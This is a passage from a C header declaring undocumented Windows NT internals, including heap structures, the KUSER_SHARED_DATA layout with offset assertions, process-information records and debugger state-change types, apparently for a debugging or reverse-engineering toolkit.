*PHEAP_TUNING_PARAMETERS;\t\t// <size 0x8>\r\n\r\ntypedef struct _HEAP_PSEUDO_TAG_ENTRY\r\n{\r\n\tULONG Allocs;\r\n\tULONG Frees;\r\n\tULONG Size;\r\n} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY;\t// <size 0xc>\r\n\r\ntypedef struct _HEAP_TAG_ENTRY\r\n{\r\n\tULONG Allocs;\r\n\tULONG Frees;\r\n\tULONG Size;\r\n\tUSHORT TagIndex;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tWCHAR TagName[ 24 ];\r\n} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY;\t\t// <size 0x40>\r\n\r\ntypedef struct _HEAP_ENTRY\r\n{\r\n\tUSHORT Size;\r\n\tUCHAR Flags;\r\n\tUCHAR SmallTagIndex;\r\n\tPVOID SubSegmentCode;\r\n\tUSHORT PreviousSize;\r\n\tUCHAR SegmentOffset;\r\n\tUCHAR LFHFlags;\r\n\tUCHAR UnusedBytes;\r\n\tUSHORT FunctionIndex;\r\n\tUSHORT ContextValue;\r\n\tULONG InterceptorValue;\r\n\tUSHORT UnusedBytesLength;\r\n\tUCHAR EntryOffset;\r\n\tUCHAR ExtendedBlockSignature;\r\n\tULONG Code1;\r\n\tUSHORT Code2;\r\n\tUCHAR Code3;\r\n\tUCHAR Code4;\r\n\tULONG64 AgregateCode;\r\n} HEAP_ENTRY, *PHEAP_ENTRY;\r\n\r\ntypedef struct _HEAP_COUNTERS\r\n{\r\n\tULONG TotalMemoryReserved;\r\n\tULONG TotalMemoryCommitted;\r\n\tULONG TotalMemoryLargeUCR;\r\n\tULONG TotalSizeInVirtualBlocks;\r\n\tULONG TotalSegments;\r\n\tULONG TotalUCRs;\r\n\tULONG CommittOps;\r\n\tULONG DeCommitOps;\r\n\tULONG LockAcquires;\r\n\tULONG LockCollisions;\r\n\tULONG CommitRate;\r\n\tULONG DecommittRate;\r\n\tULONG CommitFailures;\r\n\tULONG InBlockCommitFailures;\r\n\tULONG CompactHeapCalls;\r\n\tULONG CompactedUCRs;\r\n\tULONG InBlockDeccommits;\r\n\tULONG InBlockDeccomitSize;\r\n} HEAP_COUNTERS, *PHEAP_COUNTERS;\t\t// <size 0x48>\r\n\r\ntypedef struct _HEAP\r\n{\r\n\tHEAP_ENTRY Entry;\r\n\tULONG SegmentSignature;\r\n\tULONG SegmentFlags;\r\n\tLIST_ENTRY SegmentListEntry;\r\n\tstruct _HEAP* Heap;\r\n\tPVOID BaseAddress;\r\n\tULONG NumberOfPages;\r\n\tPHEAP_ENTRY FirstEntry;\r\n\tPHEAP_ENTRY LastValidEntry;\r\n\tULONG NumberOfUnCommittedPages;\r\n\tULONG NumberOfUnCommittedRanges;\r\n\tUSHORT SegmentAllocatorBackTraceIndex;\r\n\tUSHORT Reserved;\r\n\tLIST_ENTRY UCRSegmentList;\r\n\tULONG Flags;\r\n\tULONG ForceFlags;\r\n\tULONG CompatibilityFlags;\r\n\tULONG EncodeFlagMask;\r\n\tHEAP_ENTRY Encoding;\r\n\tULONG PointerKey;\r\n\tULONG Interceptor;\r\n\tULONG VirtualMemoryThreshold;\r\n\tULONG Signature;\r\n\tULONG SegmentReserve;\r\n\tULONG SegmentCommit;\r\n\tULONG DeCommitFreeBlockThreshold;\r\n\tULONG DeCommitTotalFreeThreshold;\r\n\tULONG TotalFreeSize;\r\n\tULONG MaximumAllocationSize;\r\n\tUSHORT ProcessHeapsListIndex;\r\n\tUSHORT HeaderValidateLength;\r\n\tPVOID HeaderValidateCopy;\r\n\tUSHORT NextAvailableTagIndex;\r\n\tUSHORT MaximumTagIndex;\r\n\tPHEAP_TAG_ENTRY TagEntries;\r\n\tLIST_ENTRY UCRList;\r\n\tULONG AlignRound;\r\n\tULONG AlignMask;\r\n\tLIST_ENTRY VirtualAllocdBlocks;\r\n\tLIST_ENTRY SegmentList;\r\n\tUSHORT AllocatorBackTraceIndex;\r\n\tULONG NonDedicatedListLength;\r\n\tPVOID BlocksIndex;\r\n\tPVOID UCRIndex;\r\n\tPHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries;\r\n\tLIST_ENTRY FreeLists;\r\n\tPHEAP_LOCK LockVariable;\r\n\tLONG * CommitRoutine;\t\t// <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html\r\n\tPVOID FrontEndHeap;\r\n\tUSHORT FrontHeapLockCount;\r\n\tUCHAR FrontEndHeapType;\r\n\tHEAP_COUNTERS Counters;\r\n\tHEAP_TUNING_PARAMETERS TuningParameters;\r\n} HEAP, *PHEAP;\t\t// <size 0x130>\r\n\r\ntypedef struct _HEAP_FREE_ENTRY_EXTRA\r\n{\r\n\tUSHORT TagIndex;\r\n\tUSHORT FreeBackTraceIndex;\r\n} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA;\t\t// <size 0x4>\r\n\r\ntypedef struct _HEAP_ENTRY_EXTRA\r\n{\r\n\tUSHORT AllocatorBackTraceIndex;\r\n\tUSHORT TagIndex;\r\n\tULONG Settable;\r\n\tULONG64 ZeroInit;\r\n} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA;\t\t// <size 0x8>\r\n\r\ntypedef struct _HEAP_VIRTUAL_ALLOC_ENTRY\r\n{\r\n\tLIST_ENTRY Entry;\r\n\tHEAP_ENTRY_EXTRA ExtraStuff;\r\n\tULONG CommitSize;\r\n\tULONG ReserveSize;\r\n\tHEAP_ENTRY BusyBlock;\r\n} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;\t\t// <size 0x20>\r\n\r\n//\r\n// Known extended CPU state feature IDs\r\n//\r\n\r\n// #define XSTATE_LEGACY_FLOATING_POINT        0\r\n// #define XSTATE_LEGACY_SSE                   1\r\n// #define XSTATE_GSSE                         2\r\n// \r\n// #define XSTATE_MASK_LEGACY_FLOATING_POINT   (1i64 << (XSTATE_LEGACY_FLOATING_POINT))\r\n// #define XSTATE_MASK_LEGACY_SSE              (1i64 << (XSTATE_LEGACY_SSE))\r\n// #define XSTATE_MASK_LEGACY                  (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE)\r\n// #define XSTATE_MASK_GSSE                    (1i64 << (XSTATE_GSSE))\r\n// \r\n// #define MAXIMUM_XSTATE_FEATURES             64\r\n\r\n\r\ntypedef enum _HARDERROR_RESPONSE_OPTION\r\n{\r\n\tOptionAbortRetryIgnore,\r\n\tOptionOk,\r\n\tOptionOkCancel,\r\n\tOptionRetryCancel,\r\n\tOptionYesNo,\r\n\tOptionYesNoCancel,\r\n\tOptionShutdownSystem,\r\n\tOptionOkNoWait,\r\n\tOptionCancelTryContinue\r\n} HARDERROR_RESPONSE_OPTION;\r\n\r\ntypedef enum _HARDERROR_RESPONSE\r\n{\r\n\tResponseReturnToCaller,\r\n\tResponseNotHandled,\r\n\tResponseAbort,\r\n\tResponseCancel,\r\n\tResponseIgnore,\r\n\tResponseNo,\r\n\tResponseOk,\r\n\tResponseRetry,\r\n\tResponseYes,\r\n\tResponseTryAgain,\r\n\tResponseContinue\r\n} HARDERROR_RESPONSE;\r\n\r\ntypedef enum _ALTERNATIVE_ARCHITECTURE_TYPE\r\n{\r\n\tStandardDesign,                 // None == 0 == standard design\r\n\tNEC98x86,                       // NEC PC98xx series on X86\r\n\tEndAlternatives                 // past end of known alternatives\r\n} ALTERNATIVE_ARCHITECTURE_TYPE;\r\n\r\n#define NX_SUPPORT_POLICY_ALWAYSOFF 0\r\n#define NX_SUPPORT_POLICY_ALWAYSON 1\r\n#define NX_SUPPORT_POLICY_OPTIN 2\r\n#define NX_SUPPORT_POLICY_OPTOUT 3\r\n\r\n#define PROCESSOR_FEATURE_MAX 64\r\n#define MAX_WOW64_SHARED_ENTRIES 16\r\n\r\n#if defined(_MSC_VER) && (_MSC_VER < 1300)\r\n\r\n#define XSTATE_LEGACY_FLOATING_POINT        0\r\n#define XSTATE_LEGACY_SSE                   1\r\n#define XSTATE_GSSE                         2\r\n\r\n#define XSTATE_MASK_LEGACY_FLOATING_POINT   (1i64 << (XSTATE_LEGACY_FLOATING_POINT))\r\n#define XSTATE_MASK_LEGACY_SSE              (1i64 << (XSTATE_LEGACY_SSE))\r\n#define XSTATE_MASK_LEGACY                  (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE)\r\n#define XSTATE_MASK_GSSE                    (1i64 << (XSTATE_GSSE))\r\n\r\n#define MAXIMUM_XSTATE_FEATURES             64\r\n\r\n//\r\n// Extended processor state configuration\r\n//\r\n#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300\r\ntypedef struct _XSTATE_FEATURE {\r\n    DWORD Offset;\r\n    DWORD Size;\r\n} XSTATE_FEATURE, *PXSTATE_FEATURE;\r\n\r\ntypedef struct _XSTATE_CONFIGURATION {\r\n    // Mask of enabled features\r\n    DWORD64 EnabledFeatures;\r\n\r\n    // Total size of the save area\r\n    DWORD Size;\r\n\r\n    DWORD OptimizedSave : 1;\r\n\r\n    // List of features (\r\n    XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES];\r\n\r\n} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION;\r\n#endif\r\n\r\n#ifndef _WINDOWS_\r\ntypedef enum _HEAP_INFORMATION_CLASS {\r\n\tHeapCompatibilityInformation\r\n} HEAP_INFORMATION_CLASS;\r\n#endif //_WINDOWS_\r\n\r\n#endif\r\n\r\ntypedef struct _KUSER_SHARED_DATA\r\n{\r\n    ULONG TickCountLowDeprecated;\r\n    ULONG TickCountMultiplier;\r\n\r\n    volatile KSYSTEM_TIME InterruptTime;\r\n    volatile KSYSTEM_TIME SystemTime;\r\n    volatile KSYSTEM_TIME TimeZoneBias;\r\n\r\n    USHORT ImageNumberLow;\r\n    USHORT ImageNumberHigh;\r\n\r\n    WCHAR NtSystemRoot[260];\r\n\r\n    ULONG MaxStackTraceDepth;\r\n\r\n    ULONG CryptoExponent;\r\n\r\n    ULONG TimeZoneId;\r\n    ULONG LargePageMinimum;\r\n    ULONG Reserved2[7];\r\n\r\n    ULONG NtProductType;\r\n    BOOLEAN ProductTypeIsValid;\r\n\r\n    ULONG NtMajorVersion;\r\n    ULONG NtMinorVersion;\r\n\r\n    BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX];\r\n\r\n    ULONG Reserved1;\r\n    ULONG Reserved3;\r\n\r\n    volatile ULONG TimeSlip;\r\n\r\n    ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;\r\n\r\n    LARGE_INTEGER SystemExpirationDate;\r\n\r\n    ULONG SuiteMask;\r\n\r\n    BOOLEAN KdDebuggerEnabled;\r\n\r\n    UCHAR NXSupportPolicy;\r\n\r\n    volatile ULONG ActiveConsoleId;\r\n\r\n    volatile ULONG DismountCount;\r\n\r\n    ULONG ComPlusPackage;\r\n\r\n    ULONG LastSystemRITEventTickCount;\r\n\r\n    ULONG NumberOfPhysicalPages;\r\n\r\n    BOOLEAN SafeBootMode;\r\n    union\r\n    {\r\n        UCHAR TscQpcData;\r\n        struct\r\n        {\r\n            UCHAR TscQpcEnabled : 1;\r\n            UCHAR TscQpcSpareFlag : 1;\r\n            UCHAR TscQpcShift : 6;\r\n        };\r\n    };\r\n    UCHAR TscQpcPad[2];\r\n\r\n    union\r\n    {\r\n        ULONG TraceLogging;\r\n        ULONG SharedDataFlags;\r\n        struct\r\n        {\r\n            ULONG DbgErrorPortPresent : 1;\r\n            ULONG DbgElevationEnabled : 1;\r\n            ULONG DbgVirtEnabled : 1;\r\n            ULONG DbgInstallerDetectEnabled : 1;\r\n            ULONG DbgSystemDllRelocated : 1;\r\n            ULONG DbgDynProcessorEnabled : 1;\r\n            ULONG DbgSEHValidationEnabled : 1;\r\n            ULONG SpareBits : 25;\r\n        };\r\n    };\r\n    ULONG DataFlagsPad[1];\r\n\r\n    ULONGLONG TestRetInstruction;\r\n    ULONG SystemCall;\r\n    ULONG SystemCallReturn;\r\n    ULONGLONG SystemCallPad[3];\r\n\r\n    union\r\n    {\r\n        volatile KSYSTEM_TIME TickCount;\r\n        volatile ULONG64 TickCountQuad;\r\n        struct\r\n        {\r\n            ULONG ReservedTickCountOverlay[3];\r\n            ULONG TickCountPad[1];\r\n        };\r\n    };\r\n\r\n    ULONG Cookie;\r\n\r\n    // Entries below all invalid below Windows Vista\r\n\r\n    ULONG CookiePad[1];\r\n\r\n    LONGLONG ConsoleSessionForegroundProcessId;\r\n\r\n    ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES];\r\n\r\n    USHORT UserModeGlobalLogger[16];\r\n    ULONG ImageFileExecutionOptions;\r\n\r\n    ULONG LangGenerationCount;\r\n\r\n    union\r\n    {\r\n        ULONGLONG AffinityPad; // only valid on Windows Vista\r\n        ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista\r\n        ULONGLONG Reserved5;\r\n    };\r\n    volatile ULONG64 InterruptTimeBias;\r\n    volatile ULONG64 TscQpcBias;\r\n\r\n    volatile ULONG ActiveProcessorCount;\r\n    volatile USHORT ActiveGroupCount;\r\n    USHORT Reserved4;\r\n\r\n    volatile ULONG AitSamplingValue;\r\n    volatile ULONG AppCompatFlag;\r\n\r\n    ULONGLONG SystemDllNativeRelocation;\r\n    ULONG SystemDllWowRelocation;\r\n\r\n    ULONG XStatePad[1];\r\n    XSTATE_CONFIGURATION XState;\r\n} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA;\r\n\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8);\r\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0);\r\n\r\n#define SHARED_USER_DATA_VA 0x7FFE0000\r\n#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA)\r\n\r\n__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); }\r\n\r\n__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); }\r\n\r\n//added 20/03/2011\r\n#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001\r\n#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002\r\n#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004\r\n\r\n//added 20/03/2011\r\ntypedef struct _RTL_PROCESS_REFLECTION_INFORMATION\r\n{\r\n\tHANDLE Process;\r\n\tHANDLE Thread;\r\n\tCLIENT_ID ClientId;\r\n} RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION;\r\n\r\n//FIXED 21.02.2011 size for x64\r\ntypedef struct _VM_COUNTERS {\r\n\tSIZE_T PeakVirtualSize;\r\n\tSIZE_T VirtualSize;\r\n\tULONG PageFaultCount;\r\n\tSIZE_T PeakWorkingSetSize;\r\n\tSIZE_T WorkingSetSize;\r\n\tSIZE_T QuotaPeakPagedPoolUsage;\r\n\tSIZE_T QuotaPagedPoolUsage;\r\n\tSIZE_T QuotaPeakNonPagedPoolUsage;\r\n\tSIZE_T QuotaNonPagedPoolUsage;\r\n\tSIZE_T PagefileUsage;\r\n\tSIZE_T PeakPagefileUsage;\r\n\tSIZE_T PrivatePageCount;\r\n} VM_COUNTERS;\r\ntypedef VM_COUNTERS *PVM_COUNTERS;\r\n\r\n#if (_MSC_VER < 1300) && !defined(_WINDOWS_)\r\ntypedef struct _IO_COUNTERS {\r\n\tULONGLONG  ReadOperationCount;\r\n\tULONGLONG  WriteOperationCount;\r\n\tULONGLONG  OtherOperationCount;\r\n\tULONGLONG ReadTransferCount;\r\n\tULONGLONG WriteTransferCount;\r\n\tULONGLONG OtherTransferCount;\r\n} IO_COUNTERS;\r\ntypedef IO_COUNTERS *PIO_COUNTERS;\r\n#endif\r\n\r\n// SystemProcessesAndThreadsInformation\r\n//FIXED 21.02.2011 size for x64 (and as well for x86 too)\r\ntypedef struct _SYSTEM_PROCESSES_INFORMATION {\r\n\tULONG NextEntryDelta;\r\n\tULONG ThreadCount;\r\n\tLARGE_INTEGER SpareLi1;\r\n\tLARGE_INTEGER SpareLi2;\r\n\tLARGE_INTEGER SpareLi3;\r\n\tLARGE_INTEGER CreateTime;\r\n\tLARGE_INTEGER UserTime;\r\n\tLARGE_INTEGER KernelTime;\r\n\tUNICODE_STRING ImageName;\r\n\tKPRIORITY BasePriority;\r\n\tHANDLE UniqueProcessId;\r\n\tHANDLE InheritedFromUniqueProcessId;\r\n\tULONG HandleCount;\r\n\tULONG SessionId;\r\n\tULONG_PTR PageDirectoryBase;\r\n\tVM_COUNTERS VmCounters;\r\n\tIO_COUNTERS IoCounters;\r\n\tSYSTEM_THREAD_INFORMATION Threads[1];\r\n} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION;\r\n\r\n#define SIZEOF_BP_BUFFER 32\r\n#define LPC_BUFFER_SIZE 0x130\r\n\r\ntypedef struct _DBGKM_EXCEPTION\r\n{\r\n\tEXCEPTION_RECORD ExceptionRecord;\r\n\tULONG FirstChance;\r\n} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION;\r\n\r\ntypedef struct _DBGKM_CREATE_THREAD\r\n{\r\n\tULONG SubSystemKey;\r\n\tPVOID StartAddress;\r\n} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD;\r\n\r\ntypedef struct _DBGKM_CREATE_PROCESS\r\n{\r\n\tULONG SubSystemKey;\r\n\tHANDLE FileHandle;\r\n\tPVOID BaseOfImage;\r\n\tULONG DebugInfoFileOffset;\r\n\tULONG DebugInfoSize;\r\n\tDBGKM_CREATE_THREAD InitialThread;\r\n} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS;\r\n\r\ntypedef struct _DBGKM_EXIT_THREAD\r\n{\r\n\tNTSTATUS ExitStatus;\r\n} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD;\r\n\r\ntypedef struct _DBGKM_EXIT_PROCESS\r\n{\r\n\tNTSTATUS ExitStatus;\r\n} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS;\r\n\r\ntypedef struct _DBGKM_LOAD_DLL\r\n{\r\n\tHANDLE FileHandle;\r\n\tPVOID BaseOfDll;\r\n\tULONG DebugInfoFileOffset;\r\n\tULONG DebugInfoSize;\r\n\tPVOID NamePointer;\r\n} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL;\r\n\r\ntypedef struct _DBGKM_UNLOAD_DLL\r\n{\r\n\tPVOID BaseAddress;\r\n} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL;\r\n\r\ntypedef enum _DBG_STATE\r\n{\r\n\tDbgIdle,\r\n\tDbgReplyPending,\r\n\tDbgCreateThreadStateChange,\r\n\tDbgCreateProcessStateChange,\r\n\tDbgExitThreadStateChange,\r\n\tDbgExitProcessStateChange,\r\n\tDbgExceptionStateChange,\r\n\tDbgBreakpointStateChange,\r\n\tDbgSingleStepStateChange,\r\n\tDbgLoadDllStateChange,\r\n\tDbgUnloadDllStateChange\r\n} DBG_STATE, *PDBG_STATE;\r\n\r\ntypedef struct _DBGUI_CREATE_THREAD\r\n{\r\n\tHANDLE HandleToThread;\r\n\tDBGKM_CREATE_THREAD NewThread;\r\n} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD;\r\n\r\ntypedef struct _DBGUI_CREATE_PROCESS\r\n{\r\n\tHANDLE HandleToProcess;\r\n\tHANDLE HandleToThread;\r\n\tDBGKM_CREATE_PROCESS NewProcess;\r\n} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS;\r\n\r\ntypedef struct _DBGUI_WAIT_STATE_CHANGE\r\n{\r\n\tDBG_STATE NewState;\r\n\tCLIENT_ID AppClientId;\r\n\tunion\r\n\t{\r\n\t\tDBGKM_EXCEPTION Exception;\r\n\t\tDBGUI_CREATE_THREAD CreateThread;\r\n\t\tDBGUI_CREATE_PROCESS CreateProcessInfo;\r\n\t\tDBGKM_EXIT_THREAD ExitThread;\r\n\t\tDBGKM_EXIT_PROCESS ExitProcess;\r\n\t\tDBGKM_LOAD_DLL LoadDll;\r\n\t\tDBGKM_UNLOAD_DLL UnloadDll;\r\n\t} StateInfo;\r\n} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE;\r\n\r\n#define DEBUG_READ_EVENT 0x0001\r\n#define DEBUG_PROCESS_ASSIGN 0x0002\r\n#define DEBUG_SET_INFORMATION 0x0004\r\n#define DEBUG_QUERY_INFORMATION 0x0008\r\n#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \\\r\n\tDEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \\\r\n\tDEBUG_QUERY_INFORMATION)\r\n\r\n#define DEBUG_KILL_ON_CLOSE 0x1\r\n\r\ntypedef enum _DEBUGOBJECTINFOCLASS\r\n{\r\n\tDebugObjectFlags = 1,\r\n\tMaxDebugObjectInfoClass\r\n} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS;\r\n\r\n\r\n//added 21/03/2011\r\n//begin\r\ntypedef struct _RTL_HEAP_TAG_INFO\r\n{\r\n\tULONG NumberOfAllocations;\r\n\tULONG NumberOfFrees;\r\n\tSIZE_T BytesAllocated;\r\n} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO;\r\n\r\n#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS\r\n#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t ))\r\n\r\ntypedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)(\r\n\tIN PVOID HeapHandle,\r\n\tIN PVOID Parameter\r\n\t);\r\n\r\ntypedef struct _RTL_HEAP_USAGE_ENTRY\r\n{\r\n\tstruct _RTL_HEAP_USAGE_ENTRY *Next;\r\n\tPVOID Address;\r\n\tSIZE_T Size;\r\n\tUSHORT AllocatorBackTraceIndex;\r\n\tUSHORT TagIndex;\r\n} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY;\r\n\r\ntypedef struct _RTL_HEAP_USAGE\r\n{\r\n\tULONG Length;\r\n\tSIZE_T BytesAllocated;\r\n\tSIZE_T BytesCommitted;\r\n\tSIZE_T BytesReserved;\r\n\tSIZE_T BytesReservedMaximum;\r\n\tPRTL_HEAP_USAGE_ENTRY Entries;\r\n\tPRTL_HEAP_USAGE_ENTRY AddedEntries;\r\n\tPRTL_HEAP_USAGE_ENTRY RemovedEntries;\r\n\tULONG_PTR Reserved[8];\r\n} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE;\r\n\r\n#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY\r\n#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY\r\n\r\ntypedef struct _RTL_HEAP_WALK_ENTRY\r\n{\r\n\tPVOID DataAddress;\r\n\tSIZE_T DataSize;\r\n\tUCHAR OverheadBytes;\r\n\tUCHAR SegmentIndex;\r\n\tUSHORT Flags;\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tSIZE_T Settable;\r\n\t\t\tUSHORT TagIndex;\r\n\t\t\tUSHORT AllocatorBackTraceIndex;\r\n\t\t\tULONG 